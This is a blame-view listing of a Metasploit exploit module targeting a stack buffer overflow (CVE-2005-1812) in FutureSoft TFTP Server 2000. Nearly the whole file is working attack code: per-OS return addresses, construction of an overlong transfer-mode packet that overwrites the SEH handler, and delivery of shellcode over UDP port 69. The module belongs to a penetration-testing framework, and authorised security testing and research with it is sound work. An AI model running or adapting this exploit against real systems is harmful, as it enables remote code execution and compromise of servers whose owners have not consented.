Files
metasploit-gs/modules/exploits/windows/tftp/futuresoft_transfermode.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

77 lines
2.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = AverageRanking
2006-09-12 05:58:09 +00:00
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh
2006-09-12 05:58:09 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'FutureSoft TFTP Server 2000 Transfer-Mode Overflow',
'Description' => %q{
2010-05-09 17:45:00 +00:00
This module exploits a stack buffer overflow in the FutureSoft TFTP Server
2006-09-12 05:58:09 +00:00
2000 product. By sending an overly long transfer-mode string, we were able
to overwrite both the SEH and the saved EIP. A subsequent write-exception
that will occur allows the transferring of execution to our shellcode
2006-09-12 05:58:09 +00:00
via the overwritten SEH. This module has been tested against Windows
2000 Professional and for some reason does not seem to work against
2006-09-12 05:58:09 +00:00
Windows 2000 Server (could not trigger the overflow at all).
},
'Author' => 'MC',
'References' =>
[
2006-09-12 05:58:09 +00:00
['CVE', '2005-1812'],
['OSVDB', '16954'],
2015-10-27 12:41:32 -05:00
['BID', '13821']
2006-09-12 05:58:09 +00:00
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 350,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4} ], # ws2help.dll
['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad} ], # ws2help.dll
['Windows NT SP5/SP6a English', { 'Ret' => 0x776a1799} ], # ws2help.dll
['Windows 2003 Server English', { 'Ret' => 0x7ffc0638} ], # PEB return
],
'Privileged' => true,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2005-05-31'))
2006-09-12 05:58:09 +00:00
register_options(
2006-09-12 05:58:09 +00:00
[
Opt::RPORT(69)
])
2006-09-12 05:58:09 +00:00
end
def exploit
connect_udp
print_status("Trying target #{target.name}...")
sploit = "\x00\x01" + rand_text_english(14, payload_badchars) + "\x00"
sploit += rand_text_english(167, payload_badchars)
2006-09-12 05:58:09 +00:00
seh = generate_seh_payload(target.ret)
sploit[157, seh.length] = seh
sploit += "\x00"
udp_sock.put(sploit)
handler
disconnect_udp
end
end